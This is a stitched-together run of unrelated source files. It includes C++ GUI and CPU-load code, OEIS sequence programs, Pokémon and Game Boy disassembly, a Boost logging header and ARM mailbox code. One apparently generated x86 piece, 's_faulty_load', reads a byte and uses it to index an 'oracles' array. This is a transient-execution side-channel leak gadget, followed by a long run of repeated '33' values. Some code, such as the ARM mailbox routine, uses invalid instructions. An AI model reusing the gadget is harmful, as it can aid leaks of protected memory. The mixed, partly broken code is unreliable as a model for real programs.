dynamic_cast<const AbstractView*>(static_cast<const Module*>(crv->PeekCalleeSlot()->Owner()))); if (view != nullptr) { view->Resize(width, height); } } } void GUIView::UpdateFreeze(bool freeze) { auto* crv = this->render_view_slot.CallAs<core::view::CallRenderView>(); if (crv) { auto callType = freeze ? core::view::CallRenderView::CALL_FREEZE : core::view::CallRenderView::CALL_UNFREEZE; (*crv)(callType); } } bool GUIView::OnKey(core::view::Key key, core::view::KeyAction action, core::view::Modifiers mods) { bool input_consumed = this->gui.OnKey(key, action, mods); if (!input_consumed) { auto* crv = this->render_view_slot.CallAs<core::view::CallRenderView>(); if (crv == nullptr) return false; core::view::InputEvent evt; evt.tag = core::view::InputEvent::Tag::Key; evt.keyData.key = key; evt.keyData.action = action; evt.keyData.mods = mods; crv->SetInputEvent(evt); return (*crv)(core::view::InputCall::FnOnKey); } return true; } bool GUIView::OnChar(unsigned int codePoint) { this->gui.OnChar(codePoint); auto* crv = this->render_view_slot.CallAs<core::view::CallRenderView>(); if (crv) { core::view::InputEvent evt; evt.tag = core::view::InputEvent::Tag::Char; evt.charData.codePoint = codePoint; crv->SetInputEvent(evt); return (*crv)(core::view::InputCall::FnOnChar); } return true; } bool GUIView::OnMouseMove(double x, double y) { bool input_consumed = this->gui.OnMouseMove(x, y); if (!input_consumed) { auto* crv = this->render_view_slot.CallAs<core::view::CallRenderView>(); if (crv == nullptr) return false; core::view::InputEvent evt; evt.tag = core::view::InputEvent::Tag::MouseMove; evt.mouseMoveData.x = x; evt.mouseMoveData.y = y; crv->SetInputEvent(evt); return (*crv)(core::view::InputCall::FnOnMouseMove); } return true; } bool GUIView::OnMouseButton( core::view::MouseButton button, core::view::MouseButtonAction action, core::view::Modifiers mods) { bool input_consumed = this->gui.OnMouseButton(button, action, mods); if (!input_consumed) { auto* crv = this->render_view_slot.CallAs<core::view::CallRenderView>(); if (crv == nullptr) return false; core::view::InputEvent evt; evt.tag = core::view::InputEvent::Tag::MouseButton; evt.mouseButtonData.button = button; evt.mouseButtonData.action = action; evt.mouseButtonData.mods = mods; crv->SetInputEvent(evt); return (*crv)(core::view::InputCall::FnOnMouseButton); } return true; } bool GUIView::OnMouseScroll(double dx, double dy) { bool input_consumed = this->gui.OnMouseScroll(dx, dy); if (!input_consumed) { auto* crv = this->render_view_slot.CallAs<core::view::CallRenderView>(); if (crv == nullptr) return false; core::view::InputEvent evt; evt.tag = core::view::InputEvent::Tag::MouseScroll; evt.mouseScrollData.dx = dx; evt.mouseScrollData.dy = dy; crv->SetInputEvent(evt); return (*crv)(core::view::InputCall::FnOnMouseScroll); } return true; } bool GUIView::OnRenderView(megamol::core::Call& call) { megamol::core::view::CallRenderView* crv = dynamic_cast<megamol::core::view::CallRenderView*>(&call); if (crv == nullptr) return false; this->overrideCall = crv; mmcRenderViewContext context; ::ZeroMemory(&context, sizeof(context)); context.Time = crv->Time(); context.InstanceTime = crv->InstanceTime(); // XXX: Affinity this->Render(context); this->overrideCall = nullptr; return true; }
// Show Timer in Castle origin 0x09DF18 base 0x802E2F18 nop // 812E2F18 2400
; A052206: Partial sums of A050405. ; 1,16,100,408,1290,3432,8052,17160,33891,62920,110968,187408,304980,480624,736440,1100784,1609509,2307360,3249532,4503400,6150430,8288280,11033100,14522040,18915975 lpb $0,1 mov $1,$0 cal $1,50405 ; Partial sums of A051879. sub $0,1 add $2,$1 add $1,$2 mov $2,$1 lpe div $1,2 add $1,1
mov cx, 0 calc_len: cmp byte [bx], 0 je end_calc inc bx inc cx jmp calc_len end_calc: ret
; A170091: Number of reduced words of length n in Coxeter group on 34 generators S_i with relations (S_i)^2 = (S_i S_j)^37 = I. ; 1,34,1122,37026,1221858,40321314,1330603362,43909910946,1449027061218,47817893020194,1577990469666402,52073685498991266,1718431621466711778,56708243508401488674,1871372035777249126242,61755277180649221165986 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,33 lpe mov $0,$2 div $0,33
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r15 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x14d9b, %r15 nop sub %rdx, %rdx vmovups (%r15), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %r13 add $7125, %r9 lea addresses_D_ht+0x9f1b, %r13 nop nop sub %r14, %r14 movl $0x61626364, (%r13) nop nop nop nop add $51373, %rax lea addresses_D_ht+0x1e56b, %rdx nop nop nop nop dec %r13 mov $0x6162636465666768, %rax movq %rax, %xmm1 and $0xffffffffffffffc0, %rdx movntdq %xmm1, (%rdx) nop nop cmp %rdx, %rdx lea addresses_WT_ht+0x1911b, %r15 nop nop nop xor $10627, %r10 mov $0x6162636465666768, %rax movq %rax, %xmm0 vmovups %ymm0, (%r15) cmp $32987, %r15 lea addresses_WC_ht+0xede1, %r13 nop nop nop dec %r9 movb (%r13), %r15b nop nop nop nop nop add $57368, %rdx lea addresses_normal_ht+0x123d3, %rdx mfence movb (%rdx), %r13b nop nop nop nop nop xor $62297, %r15 lea addresses_WC_ht+0x9259, %rsi lea addresses_D_ht+0x9047, %rdi nop nop nop nop sub $36007, %r9 mov $29, %rcx rep movsq nop nop nop and $63741, %r14 lea addresses_normal_ht+0xb3df, %rdi sub $44544, %r14 movl $0x61626364, (%rdi) nop nop nop nop cmp $11537, %r14 lea addresses_WC_ht+0x1a37e, %rsi lea addresses_WC_ht+0x1b4d7, %rdi nop nop sub %r10, %r10 mov $24, %rcx rep movsq add $36145, %r13 lea addresses_UC_ht+0x2873, %r9 nop nop nop add %r14, %r14 mov (%r9), %edx cmp %rsi, %rsi lea addresses_WT_ht+0x10c9b, %rax nop nop nop xor %r14, %r14 vmovups (%rax), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r15 nop nop nop and %r13, %r13 lea addresses_WT_ht+0x1b4ab, %rdx nop nop xor %r13, %r13 movl $0x61626364, (%rdx) nop nop nop sub $57978, %r14 lea addresses_WT_ht+0x1851b, %rsi lea addresses_normal_ht+0xc11b, %rdi nop nop sub %r14, %r14 mov $17, %rcx rep movsw nop nop nop nop add %r15, %r15 lea addresses_WT_ht+0x13a1b, %r9 nop cmp $2022, %r10 movb (%r9), %r13b nop nop nop nop add %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r9 push %rax push %rcx push %rdi push %rsi // Store lea addresses_D+0x311b, %r13 nop nop nop nop nop sub %rcx, %rcx mov $0x5152535455565758, %rax movq %rax, %xmm5 vmovups %ymm5, (%r13) and $57210, %rax // Store lea addresses_D+0x1238b, %r14 nop sub %rsi, %rsi movb $0x51, (%r14) nop nop nop nop nop dec %r14 // REPMOV lea addresses_normal+0x1571b, %rsi lea addresses_WC+0x15f1b, %rdi nop nop nop xor $32253, %r10 mov $27, %rcx rep movsw and %r10, %r10 // Store mov $0x75b, %rcx nop nop nop sub %r9, %r9 movw $0x5152, (%rcx) nop nop nop inc %r14 // Store lea addresses_UC+0x605b, %rax nop nop nop dec %r10 mov $0x5152535455565758, %rcx movq %rcx, (%rax) nop nop nop nop nop xor $36859, %rcx // Faulty Load lea addresses_PSE+0x1811b, %rdi nop nop nop nop nop cmp $28323, %rsi movb (%rdi), %r14b lea oracles, %r9 and $0xff, %r14 shlq $12, %r14 mov (%r9,%r14,1), %r14 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': True}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
org 0 mov A,#0h mov A,#0ffh mov B,#0fh mov R0,#0f0h mov A,#15 mov A,#10101010b mov A,#HIGH(0fh) mov B,#LOW(0fh) mov A,#HIGH(65535) mov B,#low(65535) ;mov A,#(255 - 250) ;mov A,#high(255-240) ;mov B,#low(255-240) mov A,#'A' mov B,#'B' end
TinTower2F_MapScripts: db 0 ; scene scripts db 0 ; callbacks TinTower2F_MapEvents: db 0, 0 ; filler db 2 ; warp events warp_event 10, 14, TIN_TOWER_3F, 1 warp_event 10, 2, TIN_TOWER_1F, 3 db 0 ; coord events db 0 ; bg events db 0 ; object events
db DEX_VICTREEBEL ; pokedex id db 80 ; base hp db 105 ; base attack db 65 ; base defense db 70 ; base speed db 100 ; base special db GRASS ; species type 1 db POISON ; species type 2 db 45 ; catch rate db 191 ; base exp yield INCBIN "pic/bmon/victreebel.pic",0,1 ; 77, sprite dimensions dw VictreebelPicFront dw VictreebelPicBack ; attacks known at lvl 0 db SLEEP_POWDER db STUN_SPORE db ACID db RAZOR_LEAF db 3 ; growth rate ; learnset tmlearn 3,6,8 tmlearn 9,10,15 tmlearn 20,21,22 tmlearn 31,32 tmlearn 33,34 tmlearn 44 tmlearn 50,51 db 0 ; padding
; A277636: Number of 3 X 3 matrices having all elements in {0,...,n} with determinant = permanent. ; 1,343,6859,50653,226981,753571,2048383,4826809,10218313,19902511,36264691,62570773,103161709,163667323,251239591,374805361,545338513,776151559,1083206683,1485446221,2005142581,2668267603,3504881359,4549540393,5841725401,7426288351,9353919043,11681631109,14473267453,17800025131,21740999671,26383748833,31824875809,38170631863,45537538411,54053028541,63856107973,75098035459,87943022623,102568953241,119168121961,137947992463,159131975059,182960223733,209690452621,239598771931,272980543303,310151254609,351447414193,397227464551,447872715451,503788296493,565404129109,633175918003,707586162031,789145184521,878392183033,975896298559,1082257704163,1198108713061,1324114906141,1460976278923,1609428407959,1770243636673,1944232280641,2132243852311,2335168305163,2553937297309,2789525474533,3042951772771,3315280740031,3607623877753,3921141001609,4257041621743,4616586342451,5001088281301,5411914507693,5850487500859,6318286627303,6816849637681,7347774183121,7912719350983,8513407220059,9151624435213,9829223801461,10548125897491,11310320708623,12117869279209,12972905384473,13877637221791,14834349121411,15845403276613,16913241493309,18040386959083,19229446031671,20483110046881,21804157145953,23195454122359,24659958288043,26200719359101 seq $0,164016 ; 6 times centered hexagonal numbers: 18*n*(n+1) + 6. pow $0,3 div $0,216
#include "manager.h" #include <algorithm> #include <unistd.h> #include "critical_loop.h" #include "stat.h" #include "core/constants.h" #include "util/log.h" namespace cpu { CpuResourceManager::CpuResourceManager(const core::Options &options) : ResourceManager(options), jiffy_ms_(cpu::GetJiffyMillisecond()), base_loop_count_(0), system_sampler_(kCpuAvgLoadSamplingCount), proc_stat_(getpid()), process_sampler_(kCpuAvgLoadSamplingCount) { // Find a finest base loop count base_loop_count_ = FindAccurateBaseLoopCount(kCpuBaseLoopCountTestIteration); } void CpuResourceManager::CreateWorkerThreads() { for (auto &ctx : workers_) { ctx.jthread_ = std::jthread([&](std::stop_token stoken) { ctx.Loop(stoken); }); } } void CpuResourceManager::RequestWorkerThreadsStop() { for (auto &ctx : workers_) { ctx.jthread_.request_stop(); } } void CpuResourceManager::JoinWorkerThreads() { for (auto &ctx : workers_) { ctx.jthread_.join(); } } inline uint64_t GetUserNiceSystemJiffies(const CpuStatInfo &info) { return info.user + info.nice + info.system; } void CpuResourceManager::Schedule(TimePoint time_point) { bool will_schedule = false; auto last_jiffies = GetUserNiceSystemJiffies(cpu_stat_); do { // refresh `cpu_stat_` if (!GetCpuProcStat(cpu_stat_)) { LOG_FATAL("failed to GetCpuProcStat"); break; } if (last_jiffies == 0) { break; } will_schedule = true; } while (false); if (will_schedule) { // Update average load this->UpdateProcStat(time_point); // Calculate system load auto current_jiffies = GetUserNiceSystemJiffies(cpu_stat_); auto diff = current_jiffies - last_jiffies; auto cpu_ms = diff * jiffy_ms_; auto elapsed_ms = std::chrono::duration_cast<std::chrono::milliseconds>(time_point - last_scheduling_) .count(); auto system_load = static_cast<int>(static_cast<double>(cpu_ms) / elapsed_ms * kCpuMaxLoadPerCore); system_sampler_.InsertValue(system_load); LOG_TRACE("cur_sys_load=%d, avg_sys_load=%d", system_load, system_sampler_.GetMean()); // Invoke specified scheduler this->AdjustWorkerLoad(time_point, system_load); } last_scheduling_ = time_point; } int CpuResourceManager::FindAccurateBaseLoopCount(int max_iteration) { int min = kCpuBaseLoopCountMin; int max = kCpuBaseLoopCountMax; int iteration = 0; int base_loop_count = 0; int accurate_loop_count = 0; int64_t accurate_elapsed = 0; do { int new_base_loop_count = std::midpoint(min, max); if (new_base_loop_count == base_loop_count) { break; } base_loop_count = new_base_loop_count; auto start = std::chrono::high_resolution_clock::now(); cpu::CriticalLoop(base_loop_count); auto stop = std::chrono::high_resolution_clock::now(); auto elapsed = std::chrono::duration_cast<std::chrono::nanoseconds>(stop - start).count(); if (elapsed > kCpuSchedulingGranularityNS) { max = base_loop_count; } else { min = base_loop_count; } LOG_TRACE("iteration=%d, diff=%ld, min=%d, max=%d, mid=%d, start=%ld, stop=%ld", iteration, elapsed, min, max, base_loop_count, start.time_since_epoch().count(), stop.time_since_epoch().count()); if (std::abs(elapsed - kCpuSchedulingGranularityNS) < std::abs(accurate_elapsed - kCpuSchedulingGranularityNS)) { accurate_elapsed = elapsed; accurate_loop_count = base_loop_count; LOG_TRACE("iteration=%d, acc_elapsed=%ld, acc_loop_count=%d", iteration, accurate_elapsed, accurate_loop_count); } ++iteration; } while (iteration < max_iteration); return accurate_loop_count; } void CpuResourceManager::UpdateProcStat(TimePoint time_point) { proc_stat_.UpdateCpuStat(time_point); process_sampler_.InsertValue(proc_stat_.GetCpuLoad()); } bool CpuResourceManager::ConstructWorkerThreads(int count) { for (int i = 0; i < count; ++i) { CpuWorkerContext ctx(i, base_loop_count_); workers_.emplace_back(std::move(ctx)); } return true; } void CpuResourceManager::SetWorkerLoadWithTotalLoad(int total_load) { int thread_count = workers_.size(); int avg_load = total_load / thread_count; for (auto &th : workers_) { th.SetLoadSet(avg_load); } } int CpuResourceManager::CalculateLoadDemand(int target) { // Equation: target = other + proc, other = sysavg - procavg // Then, we assume C = sampling count, K = C + 1 // We have: target * K = other * K + [procavg * C + demand] // K * (sysavg - procavg) + [procavg * C + demand] = K * target // That is: demand = K * (target - other) - C * procavg const int sysavg = system_sampler_.GetMean(); const int procavg = process_sampler_.GetMean(); const int other = sysavg - procavg; const int C = system_sampler_.GetSampleCount(); const int K = C + 1; int demand = K * (target - other) - C * procavg; return demand; } } // namespace cpu
/* * Copyright Andrey Semashev 2007 - 2015. * Distributed under the Boost Software License, Version 1.0. * (See accompanying file LICENSE_1_0.txt or copy at * http://www.boost.org/LICENSE_1_0.txt) */ /*! * \file global_logger_storage.hpp * \author Andrey Semashev * \date 21.04.2008 * * The header contains implementation of facilities to declare global loggers. */ #ifndef BOOST_LOG_SOURCES_GLOBAL_LOGGER_STORAGE_HPP_INCLUDED_ #define BOOST_LOG_SOURCES_GLOBAL_LOGGER_STORAGE_HPP_INCLUDED_ #include <typeinfo> #include <stdexcept> #include <boost/smart_ptr/shared_ptr.hpp> #include <boost/smart_ptr/make_shared_object.hpp> #include <boost/preprocessor/seq/enum.hpp> #include <boost/log/detail/config.hpp> #include <boost/log/detail/singleton.hpp> #include <boost/log/detail/visible_type.hpp> #include <boost/log/detail/header.hpp> #ifdef BOOST_HAS_PRAGMA_ONCE #pragma once #endif namespace boost { BOOST_LOG_OPEN_NAMESPACE namespace sources { namespace aux { //! The base class for logger holders struct BOOST_LOG_NO_VTABLE BOOST_SYMBOL_VISIBLE logger_holder_base { //! The source file name where the logger was registered const char* m_RegistrationFile; //! The line number where the logger was registered unsigned int m_RegistrationLine; logger_holder_base(const char* file, unsigned int line) : m_RegistrationFile(file), m_RegistrationLine(line) { } virtual ~logger_holder_base() {} virtual std::type_info const& logger_type() const = 0; }; //! The actual logger holder class template< typename LoggerT > struct BOOST_SYMBOL_VISIBLE logger_holder : public logger_holder_base { //! The logger instance LoggerT m_Logger; logger_holder(const char* file, unsigned int line, LoggerT const& logger) : logger_holder_base(file, line), m_Logger(logger) { } std::type_info const& logger_type() const { return typeid(LoggerT); } }; //! The class implements a global repository of tagged loggers struct global_storage { typedef shared_ptr< logger_holder_base >(*initializer_t)(); //! Finds or creates the logger and returns its holder BOOST_LOG_API static shared_ptr< logger_holder_base > get_or_init(std::type_info const& key, initializer_t initializer); // Non-constructible, non-copyable, non-assignable BOOST_DELETED_FUNCTION(global_storage()) BOOST_DELETED_FUNCTION(global_storage(global_storage const&)) BOOST_DELETED_FUNCTION(global_storage& operator= (global_storage const&)) }; //! Throws the \c odr_violation exception BOOST_LOG_API BOOST_LOG_NORETURN void throw_odr_violation( std::type_info const& tag_type, std::type_info const& logger_type, logger_holder_base const& registered); //! The class implements a logger singleton template< typename TagT > struct logger_singleton : public boost::log::aux::lazy_singleton< logger_singleton< TagT >, shared_ptr< logger_holder< typename TagT::logger_type > > > { //! Base type typedef boost::log::aux::lazy_singleton< logger_singleton< TagT >, shared_ptr< logger_holder< typename TagT::logger_type > > > base_type; //! Logger type typedef typename TagT::logger_type logger_type; //! Returns the logger instance static logger_type& get() { return base_type::get()->m_Logger; } //! Initializes the logger instance (called only once) static void init_instance() { shared_ptr< logger_holder< logger_type > >& instance = base_type::get_instance(); shared_ptr< logger_holder_base > holder = global_storage::get_or_init( typeid(boost::log::aux::visible_type< TagT >), &logger_singleton::construct_logger); instance = boost::dynamic_pointer_cast< logger_holder< logger_type > >(holder); if (!instance) { // In pure C++ this should never happen, since there cannot be two // different tag types that have equal type_infos. In real life it can // happen if the same-named tag is defined differently in two or more // dlls. This check is intended to detect such ODR violations. However, there // is no protection against different definitions of the logger type itself. throw_odr_violation(typeid(TagT), typeid(logger_type), *holder); } } private: //! Constructs a logger holder static shared_ptr< logger_holder_base > construct_logger() { return boost::make_shared< logger_holder< logger_type > >( TagT::registration_file(), static_cast< unsigned int >(TagT::registration_line), TagT::construct_logger()); } }; } // namespace aux //! The macro forward-declares a global logger with a custom initialization #define BOOST_LOG_GLOBAL_LOGGER(tag_name, logger)\ struct tag_name\ {\ typedef logger logger_type;\ enum registration_line_t { registration_line = __LINE__ };\ static const char* registration_file() { return __FILE__; }\ static logger_type construct_logger();\ static inline logger_type& get()\ {\ return ::boost::log::sources::aux::logger_singleton< tag_name >::get();\ }\ }; //! The macro defines a global logger initialization routine #define BOOST_LOG_GLOBAL_LOGGER_INIT(tag_name, logger)\ tag_name::logger_type tag_name::construct_logger() //! The macro defines a global logger initializer that will default-construct the logger #define BOOST_LOG_GLOBAL_LOGGER_DEFAULT(tag_name, logger)\ BOOST_LOG_GLOBAL_LOGGER_INIT(tag_name, logger)\ {\ return logger_type();\ } //! The macro defines a global logger initializer that will construct the logger with the specified constructor arguments #define BOOST_LOG_GLOBAL_LOGGER_CTOR_ARGS(tag_name, logger, args)\ BOOST_LOG_GLOBAL_LOGGER_INIT(tag_name, logger)\ {\ return logger_type(BOOST_PP_SEQ_ENUM(args));\ } //! The macro declares a global logger with a custom initialization #define BOOST_LOG_INLINE_GLOBAL_LOGGER_INIT(tag_name, logger)\ BOOST_LOG_GLOBAL_LOGGER(tag_name, logger)\ inline BOOST_LOG_GLOBAL_LOGGER_INIT(tag_name, logger) //! The macro declares a global logger that will be default-constructed #define BOOST_LOG_INLINE_GLOBAL_LOGGER_DEFAULT(tag_name, logger)\ BOOST_LOG_INLINE_GLOBAL_LOGGER_INIT(tag_name, logger)\ {\ return logger_type();\ } //! The macro declares a global logger that will be constructed with the specified arguments #define BOOST_LOG_INLINE_GLOBAL_LOGGER_CTOR_ARGS(tag_name, logger, args)\ BOOST_LOG_INLINE_GLOBAL_LOGGER_INIT(tag_name, logger)\ {\ return logger_type(BOOST_PP_SEQ_ENUM(args));\ } } // namespace sources BOOST_LOG_CLOSE_NAMESPACE // namespace log } // namespace boost #include <boost/log/detail/footer.hpp> #endif // BOOST_LOG_SOURCES_GLOBAL_LOGGER_STORAGE_HPP_INCLUDED_
title os2ilck.asm .486 CODE32 segment dword use32 public 'CODE' CODE32 ends DATA32 segment dword use32 public 'DATA' DATA32 ends DGROUP group DATA32 assume cs:FLAT, ds:FLAT, ss:FLAT, es:FLAT CODE32 segment align 04h os2InterlockedCompareExchange proc mov ecx, [esp+4] mov edx, [esp+8] mov eax, [esp+12] lock cmpxchg [ecx], edx ret os2InterlockedCompareExchange endp align 04h os2InterlockedIncrement proc mov eax,[esp+4] lock inc dword ptr[eax] ret os2InterlockedIncrement endp align 04h os2InterlockedDecrement proc mov eax,[esp+4] lock dec dword ptr[eax] ret os2InterlockedDecrement endp public os2InterlockedCompareExchange public os2InterlockedIncrement public os2InterlockedDecrement CODE32 ends end
.equ MAILBOX_BASE, 0x2000B880 .equ MAILBOX_STATUS, #(MAILBOX_BASE + 0x18) .equ MAILBOX_WRITE, #(MAILBOX_BASE + 0x20) .equ FRAMEBUFFER, #1 .equ FULL, 0x80000000 .equ EMPTY, 0x40000000 .equ LEVEL, 0x40000000 .text globl _start _start: ldr r0, =MAILBOX_WRITE bl write_mailbox block_until_mailbox_writable: push {r0} # Keep asking the mailbox if we can read from it ldr r2, =MAILBOX_STATUS ldr r1, [r2] and r1, FULL cmp r1, 0 be block_until_mailbox_writable # If status is one, we can read ret write_mailbox: # Lock the mailbox + write the value in r0 to it bl block_until_mailbox_writable and r1, ~(0xF) or r1, r2 str r0, [r1]
INCLUDE "constants/hardware.inc" INCLUDE "constants/engine.inc" SECTION "Null Pointer", ROM0[$0000] ; Don't use this unless the code responsible for jumping to the pointer ; checks for this! ; The only parts of the game that do are the ActorsUpdate function when ; calling an actor's update routine and TransitionUpdate for setup ; routines. Null:: SECTION "Jump to HL", ROM0[$0000] JP_HL:: jp hl SECTION "LCDMemcopy", ROM0[$0008] ; Copy a block of memory from one place to another, even if the LCD is ; on ; @param de Pointer to beginning of block to copy ; @param hl Pointer to destination ; @param bc Number of bytes to copy LCDMemcopy:: ; Increment B if C is non-zero dec bc inc c inc b .loop ldh a, [rSTAT] and a, STATF_BUSY jr nz, .loop ld a, [de] ld [hli], a inc de dec c jr nz, .loop dec b jr nz, .loop ret SECTION "MemsetSmall", ROM0[$0020] ; Fill an arbitrary number of bytes with the same value ; @param a Value to fill with ; @param hl Pointer to destination ; @param c Number of bytes to fill MemsetSmall:: ld [hli], a dec c jr nz, MemsetSmall ret SECTION "MemcopySmall", ROM0[$0028] ; Copy a block of memory from one place to another ; @param de Pointer to beginning of block to copy ; @param hl Pointer to destination ; @param c Number of bytes to copy MemcopySmall:: ld a, [de] ld [hli], a inc de dec c jr nz, MemcopySmall ret SECTION "Wait for VBlank", ROM0[$0030] ; Wait for a VBlank interrupt to occur ; The VBlank interrupt handler will return to the caller of this ; function once it is finished WaitVBlank:: ld a, 1 ldh [hVBlankFlag], a .loop halt jr .loop SECTION "LCDMemsetSmall", ROM0 ; Fill 